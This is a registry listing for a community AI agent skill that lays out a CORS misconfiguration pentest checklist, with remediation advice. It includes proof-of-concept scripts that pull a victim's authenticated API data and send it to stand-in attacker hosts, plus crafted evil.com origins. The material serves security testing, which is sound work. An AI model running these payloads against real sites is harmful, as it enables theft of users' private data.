neothecapt/redteamagent/cors-testing
Claude Code and agent skill by neothecapt/redteamagent
Trust tier 2
- community
Source check pending
Checking that the SKILL.md file is still in the repository.
CORS misconfiguration testing for data theft and access control bypass
Install
npx vskill@latest install neothecapt/redteamagent/cors-testingSKILL.md
The same SKILL.md was published earlier as neothecapt/redteamagent/cors-testing.
CORS Misconfiguration Testing
When to Activate
- API returns
Access-Control-Allow-Originheader - Cross-origin requests observed in application flow
- Sensitive data served via API endpoints
- Single-page application with API backend
Tools
run_tool curl(send crafted Origin headers)- Burp Suite Repeater
- Browser DevTools (Console for fetch tests)
- CORScanner (automated testing)
- Custom HTML PoC pages
Methodology
1. Baseline Check
- [ ] Send request without Origin — note default CORS headers
- [ ] Send with legitimate Origin — note response headers
- [ ] Check for:
Access-Control-Allow-Origin,Access-Control-Allow-Credentials - [ ] Check
Access-Control-Allow-MethodsandAccess-Control-Allow-Headers - [ ] Test on sensitive endpoints that return user data
2. Origin Reflection Test
- [ ]
Origin: https://evil.com→ does response reflect it in ACAO? - [ ]
Origin: https://evil.com+Access-Control-Allow-Credentials: true= Critical - [ ] If ACAO reflects any origin → full data theft possible
3. Null Origin
- [ ]
Origin: null→ check ifAccess-Control-Allow-Origin: null - [ ] Null origin triggered by: sandboxed iframes,
data:URIs, local files - [ ] PoC:
<iframe sandbox="allow-scripts" src="data:text/html,<script>fetch('https://target/api/me',{credentials:'include'}).then(r=>r.json()).then(d=>fetch('https://attacker/log?'+JSON.stringify(d)))</script>">
4. Subdomain / Domain Variations
- [ ]
Origin: https://sub.target.com— subdomain trust - [ ]
Origin: https://target.com.evil.com— suffix match flaw - [ ]
Origin: https://eviltarget.com— prefix match flaw - [ ]
Origin: https://target.com.evil.com— regex bypass - [ ]
Origin: https://target.com%60.evil.com— encoded characters - [ ] If subdomain accepted + XSS on subdomain = full chain
5. Wildcard Misconfiguration
- [ ]
Access-Control-Allow-Origin: *— public access (lower severity) - [ ]
*withAccess-Control-Allow-Credentials: true— browsers block this, but check - [ ] Wildcard on sensitive endpoints = information disclosure
6. Preflight Bypass
- [ ] Simple requests (GET, POST with standard content-types) skip preflight
- [ ] Test if server enforces CORS only on OPTIONS but not on actual request
- [ ] Change Content-Type to
text/plainto avoid preflight
7. Build Exploitation PoC
- [ ] Data theft PoC:
``html <script> fetch('https://target.com/api/sensitive-data', { credentials: 'include' }) .then(r => r.json()) .then(data => { fetch('https://attacker.com/steal?d=' + btoa(JSON.stringify(data))); }); </script> ``
- [ ] Host on attacker domain, have victim visit
- [ ] Demonstrate exfiltrated data
8. Impact Assessment
- [ ] What data can be stolen? (PII, tokens, financial data)
- [ ] Can state-changing actions be performed? (CSRF via CORS)
- [ ] Is authentication data (cookies, tokens) included in cross-origin requests?
- [ ] Chain with subdomain takeover or XSS for higher impact
What to Record
- Endpoint with CORS misconfiguration
- Exact ACAO and ACAC header values returned
- Origin value that triggered the misconfiguration
- Working PoC HTML demonstrating data theft
- Data accessible through the misconfiguration
- Severity: High (credentials + reflection) to Medium (wildcard, no credentials)
- Remediation: strict Origin allowlist, avoid reflecting Origin, avoid credentials with wildcard
Security
- Security scanPassed, 100 of 100Pattern checks on the skill's files.
- Model reviewNot runA model review is scheduled for the next rescan.
Quality evaluation
- Task evaluationNot runNo evaluation yet. Run one in Skill Studio.
Source
- SKILL.md in the repositoryCheckingagent/skills/cors-testing/SKILL.md
Popularity
- Repository stars
- 70
- Repository forks
- 13
- 7-day trend score
- 21
Stars and forks are for the whole GitHub repository, not this skill alone. Refreshed 24 May 2026, 6 months ago.
Works with
Any agent vskill installs to: 56 targets in all. These 39 have a page on this site.
- Claude Code
- Grok Build (Cursor)
- GitHub Copilot
- Windsurf
- Codex
- Gemini CLI
- Cline
- Amp
- Roo Code
- Goose
- Continue
- Kilo Code
- Junie
- Trae
- OpenHands
- Qwen Code
- AI Agent
- Tabnine Chat
- Sourcegraph Cody
- Amazon Q
- Firebase Genkit
- Sweep
- Devin
- Phind
- Mentat
- Claude Desktop
- Aider
- GPT Pilot
- Plandex
- bolt.new
- v0
- Replit Agent
- Anse
- TypingMind
- BetterChatGPT
- LibreChat
- Warp AI
- Pieces
- Fig AI
Embed badge
[](https://verified-skill.com/skills/neothecapt/redteamagent/cors-testing)